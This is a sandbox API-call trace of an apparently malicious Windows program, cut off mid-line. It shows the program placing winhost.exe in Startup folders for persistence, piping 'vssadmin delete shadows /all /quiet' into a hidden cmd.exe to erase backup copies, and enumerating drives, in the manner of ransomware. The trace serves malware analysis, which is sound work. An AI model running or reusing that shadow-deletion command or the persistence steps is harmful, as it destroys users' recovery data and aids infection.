RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5c5bf0 [0194.205] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.205] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5c5ba0 [0194.205] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0194.205] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0194.205] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0194.205] lstrlenW (lpString="kernel32.dll") returned 12 [0194.206] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5bf0 | out: hHeap=0x590000) returned 1 [0194.206] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.206] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5ba0 | out: hHeap=0x590000) returned 1 [0194.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0194.206] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.207] CloseHandle (hObject=0xe4) returned 1 [0194.207] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.207] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5c5ba0 [0194.207] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.207] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5c5bf0 [0194.207] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0194.208] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0194.208] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0194.208] lstrlenW (lpString="kernel32.dll") returned 12 [0194.208] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5bf0 | out: hHeap=0x590000) returned 1 [0194.208] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.208] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5ba0 | out: hHeap=0x590000) returned 1 [0194.208] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2080020 | out: hHeap=0x590000) returned 1 [0194.208] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5caea8 | out: hHeap=0x590000) returned 1 [0194.208] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5daeb0 | out: hHeap=0x590000) returned 1 [0194.208] lstrlenW (lpString="%windir%\\System32") returned 17 [0194.208] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c6c68 | out: hHeap=0x590000) returned 1 [0194.208] lstrlenW (lpString="%appdata%") returned 9 [0194.209] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4668 | out: hHeap=0x590000) returned 1 [0194.209] lstrlenW (lpString="%sh(Startup)%") returned 13 [0194.209] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4640 | out: hHeap=0x590000) returned 1 [0194.209] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0194.209] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c6cb0 | out: hHeap=0x590000) returned 1 [0194.209] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.209] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5a4640 [0194.209] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4640, Size=0x40) returned 0x5c6cb0 [0194.209] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6cb0, Size=0x80) returned 0x60aee0 [0194.209] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.209] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5a4640 [0194.209] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1fffc) returned 0x5caea8 [0194.209] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5eaeb0 [0194.209] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5faeb8 [0194.210] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.210] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5a4668 [0194.210] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4668, Size=0x40) returned 0x5c6cb0 [0194.210] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6cb0, Size=0x80) returned 0x60af68 [0194.210] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60af68, Size=0x100) returned 0x5c7e70 [0194.210] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0194.210] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x590000) returned 1 [0194.210] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x5eaeb0, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0194.210] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5faeb8 | out: hHeap=0x590000) returned 1 [0194.210] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5eaeb0 | out: hHeap=0x590000) returned 1 [0194.700] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0194.725] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0194.726] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0194.726] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0194.726] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x5bc, dwThreadId=0x5c0)) returned 1 [0198.547] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0198.548] WriteFile (in: hFile=0xec, lpBuffer=0x60aee0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x60aee0*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0198.548] CloseHandle (hObject=0xfc) returned 1 [0198.548] CloseHandle (hObject=0xf8) returned 1 [0198.548] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5caea8 | out: hHeap=0x590000) returned 1 [0198.548] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0198.548] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60aee0 | out: hHeap=0x590000) returned 1 [0198.548] lstrlenW (lpString="%comspec%") returned 9 [0198.548] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4640 | out: hHeap=0x590000) returned 1 [0198.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0198.552] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5c4d60 [0198.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5c4d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0198.554] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c7d90 [0198.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5c7d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0198.557] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d78 [0198.557] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d78, Size=0x20) returned 0x5a4640 [0198.557] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4640, Size=0x40) returned 0x5c6cb0 [0198.557] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0198.557] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xd0) returned 0x5c7ee8 [0198.557] GetLogicalDrives () returned 0x4 [0198.557] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10014) returned 0x5caea8 [0198.558] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d78 [0198.558] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d78, Size=0x20) returned 0x5a4640 [0198.558] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4640, Size=0x40) returned 0x5c6d40 [0198.558] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6d40, Size=0x80) returned 0x60aee0 [0198.558] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aee0, Size=0x100) returned 0x5c9a70 [0198.558] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9a70, Size=0x200) returned 0x5c9a70 [0198.558] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9a70, Size=0x400) returned 0x5c9458 [0198.558] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9458, Size=0x800) returned 0x60cec8 [0198.559] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60cec8, Size=0x1000) returned 0x60cec8 [0198.559] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x5daec8 [0198.559] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d78 [0198.559] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5c4e50 [0198.559] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5c55b8 [0198.559] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5c4e68 [0198.559] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5c55c8 [0198.559] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4e80 [0198.559] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c55c8, Size=0x8) returned 0x5c55c8 [0198.559] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4e98 [0198.559] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c55c8, Size=0x10) returned 0x5c55c8 [0198.560] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4eb0 [0198.560] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4ec8 [0198.560] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c55c8, Size=0x20) returned 0x5c55c8 [0198.560] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4ee0 [0198.560] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c9470 [0198.560] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x5c4ef8 [0198.560] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x5c4f10 [0198.560] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c55c8, Size=0x40) returned 0x5a4a40 [0198.560] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x5c4f28 [0198.560] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x5c4f40 [0198.560] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x5c4f58 [0198.560] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x5c4f70 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4f88 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4fa0 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c9480 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4fb8 [0198.561] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4a40, Size=0x80) returned 0x5c9a70 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4fd0 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4fe8 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c5000 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c5018 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60dee8 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60df00 [0198.561] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60df18 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c9490 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60df30 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60df48 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60df60 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60df78 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60df90 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60dfa8 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60dfc0 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60dfd8 [0198.562] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9a70, Size=0x100) returned 0x5c9a70 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60dff0 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e008 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e020 [0198.562] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x60e038 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e050 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e068 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c94a0 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e080 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e098 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e0b0 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x6) returned 0x5c94b0 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e0c8 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e0e0 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c94c0 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e0f8 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e110 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e128 [0198.563] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e140 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e158 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e170 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x60e188 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e1a0 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x60e1b8 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e1d0 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e1e8 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e200 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e218 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c94d0 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e230 [0198.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e248 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e260 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e278 [0198.565] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9a70, Size=0x200) returned 0x5c9a70 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e290 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c94e0 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e2a8 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e2e8 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e300 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e318 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e330 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e348 [0198.565] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e360 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e378 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e390 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e3a8 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e3c0 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e3d8 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e3f0 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e408 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e420 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e438 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e450 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e468 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e480 [0198.566] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e498 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e4b0 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c94f0 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e4c8 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e4e0 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e4f8 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c9500 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e510 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e528 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e540 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e558 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e570 [0198.567] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e588 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e5a0 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e5b8 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e5d0 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e5e8 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e600 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e618 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e630 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e648 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e660 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e678 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e690 [0198.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e6a8 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e6e8 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e700 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e718 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c9510 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x6) returned 0x5c9520 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e730 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e748 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e760 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e778 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e790 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e7a8 [0198.569] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e7c0 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e7d8 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e7f0 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e808 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e820 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e838 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e850 [0198.570] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9a70, Size=0x400) returned 0x60ead0 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e868 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e880 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e898 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e8b0 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e8c8 [0198.570] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e8e0 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e8f8 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e910 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e928 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e940 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c9530 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e958 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x60e970 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e988 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e9a0 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e9b8 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60e9d0 [0198.571] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x60e9e8 [0198.572] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60ea00 [0198.572] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60ea18 [0198.572] RtlAllocateHeap 